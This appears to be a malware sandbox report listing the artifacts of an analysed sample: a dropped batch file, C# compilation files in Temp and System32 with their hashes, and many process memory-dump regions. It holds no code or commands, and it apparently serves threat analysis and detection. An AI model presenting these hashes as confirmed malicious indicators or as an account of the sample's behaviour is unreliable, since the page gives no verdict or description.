9a876cf3ff961c30e419ed7866ef81735c8c7c7b54a4719aa06718818867d8e4c390717d23b6512cfc475c45e3aa693a7c10d99d037c1c17515c87939e411c80

Download Submit
C:\chainContainerproviderdriver\uDyCMCiZHpa.bat

Filesize
115B

MD5
73139134aabc2dc0dd723b4c94f209f7

SHA1
4141a25562151354cb54c8a6fb1ac30088f87196

SHA256
3f834ae9eee6e6a3984bf17c844c1e58c07c10d70287794f41bacbfd933d2760

SHA512
589ad03ae8f88a3b610ed6852d75dcb2f4cd248647db97fd4fb760bb81ba77b6e13e911e68a7e88759a759b34ffeee0628904f5105e21a165c1b622080fa7f3b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\kk1ptsw2\kk1ptsw2.0.cs

Filesize
364B

MD5
0ba6328bc34eeb5519bc786c8cf68a2a

SHA1
5bd177c110e1d3178c26b85e1f351fe5c6810252

SHA256
35f675db6d0dc5d891496bbf33affa7ec26d2850ebb562fe4275e5e6889ad370

SHA512
2bbb82b35068ae12c9f62b4cbb2ae62b11b6c9cab72f1b0cbf0463c33b194dcc983bd242ae4f97f32a36ae33cd573a69f4e95aec550b768e813999ab186e283c

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\kk1ptsw2\kk1ptsw2.cmdline

Filesize
235B

MD5
7137deec7c8c88a9cbd30d304921df2c

SHA1
d6f6ff3ffd1bc697ebfcc8d4412622e6ee8a8252

SHA256
6a6e68dc24cff6eabae59150f1ebff2b8395b3bb4fd901d15fec9ef90aedafbb

SHA512
dee1a547dd03a98ea6b20483b7a9f467bcf7c140942fa67d02e8131433723b59584055a1c4cd1101ae28ffb5101b9c4ac961ba6d0f02bee575ed42da646e86cd

Download Submit
\??\c:\Windows\System32\CSCA1CC147F7DB748CCBB1FD357EE56A76.TMP

Filesize
1KB

MD5
31dafe5c4ef6833240fab8a7c0bd7d8f

SHA1
4451d3e0d331ec636a43b94ad7cbb59bf02d0b60

SHA256
5d8b968dc1a492bb3281d31d1e8b56209e5eaa650d1ab1710ab185d418dd330f

SHA512
2724a6585a93273d1866dca97152deabe943e43a4bc1e3e1f21d7057334123c156f3471325cf944e63364f95b7d439933e15b2a0191f4c3ac62357678fe54121

Download Submit
memory/1008-210-0x000000001BB20000-0x000000001BBC9000-memory.dmp

Filesize
676KB

Download
memory/1008-118-0x000000001B9D0000-0x000000001BA20000-memory.dmp

Filesize
320KB

Download
memory/1008-107-0x000000001B640000-0x000000001B65C000-memory.dmp

Filesize
112KB

Download
memory/1008-105-0x00000000011C0000-0x00000000011CE000-memory.dmp

Filesize
56KB

Download
memory/1008-122-0x00000000011E0000-0x00000000011EC000-memory.dmp

Filesize
48KB

Download
memory/1008-120-0x000000001B660000-0x000000001B678000-memory.dmp

Filesize
96KB

Download
memory/1008-95-0x0000000000810000-0x00000000009EA000-memory.dmp

Filesize
1.9MB

Download
memory/1100-1-0x0000000000DC0000-0x0000000004DE4000-memory.dmp

Filesize
64.1MB

Download
memory/1100-11-0x00007FFDEDD00000-0x00007FFDEE7C1000-memory.dmp

Filesize
10.8MB

Download
memory/1100-53-0x00007FFDEDD00000-0x00007FFDEE7C1000-memory.dmp

Filesize
10.8MB

Download
memory/1100-0-0x00007FFDEDD03000-0x00007FFDEDD05000-memory.dmp

Filesize
8KB

Download
memory/1440-101-0x0000021116760000-0x000002111676A000-memory.dmp

Filesize
40KB

Download
memory/1440-88-0x0000021134480000-0x000002113623E000-memory.dmp

Filesize
29.7MB

Download
memory/1440-57-0x00000211145F0000-0x00000211163AE000-memory.dmp

Filesize
29.7MB

Download
memory/1440-100-0x0000021116730000-0x0000021116742000-memory.dmp

Filesize
72KB

Download
memory/1764-359-0x000001F46F840000-0x000001F46F846000-memory.dmp

Filesize
24KB

Download
memory/1764-348-0x000001F46DD20000-0x000001F46DD26000-memory.dmp

Filesize
24KB

Download
memory/1872-171-0x000001A9AAF60000-0x000001A9AAFD6000-memory.dmp

Filesize
472KB

Download
memory/1872-14-0x000001A9907B0000-0x000001A9907F0000-memory.dmp

Filesize
256KB

Download
memory/1872-325-0x00007FFDEDD00000-0x00007FFDEE7C1000-memory.dmp

Filesize
10.8MB

Download
memory/1872-173-0x000001A9AAF00000-0x000001A9AAF1E000-memory.dmp

Filesize
120KB

Download
memory/1872-16-0x00007FFDEDD00000-0x00007FFDEE7C1000-memory.dmp

Filesize
10.8MB

Download
memory/1872-15-0x00007FFDEDD00000-0x00007FFDEE7C1000-memory.dmp

Filesize
10.8MB

Download
memory/2144-343-0x00000000009D0000-0x00000000009F0000-memory.dmp

Filesize
128KB

Download
memory/2144-349-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2144-342-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2144-353-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2144-352-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2144-351-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2144-350-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2144-372-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2144-340-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2952-117-0x000001B068330000-0x000001B068352000-memory.dmp

Filesize
136KB

Download
memory/3636-299-0x000000001C430000-0x000000001C4D9000-memory.dmp

Filesize
676KB

Download
memory/3636-146-0x0000000000F00000-0x00000000010DA000-memory.dmp

Filesize
1.9MB

Download
memory/3804-35-0x00000000003A0000-0x0000000002452000-memory.dmp

Filesize
32.7MB

Download
memory/3944-379-0x000000001D440000-0x000000001D4E9000-memory.dmp

Filesize
676KB

Download
memory/4012-357-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4012-346-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4012-355-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4012-354-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4012-438-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4012-437-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4012-436-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4012-356-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4012-366-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4012-358-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4268-378-0x000000001BD10000-0x000000001BDB9000-memory.dmp

Filesize
676KB

Download
memory/4608-96-0x00000000028F0000-0x0000000002902000-memory.dmp

Filesize
72KB

Download
memory/4608-68-0x00000000005F0000-0x00000000007D6000-memory.dmp

Filesize
1.9MB

Download
memory/4608-97-0x000000001DB50000-0x000000001DB8C000-memory.dmp

Filesize
240KB

Download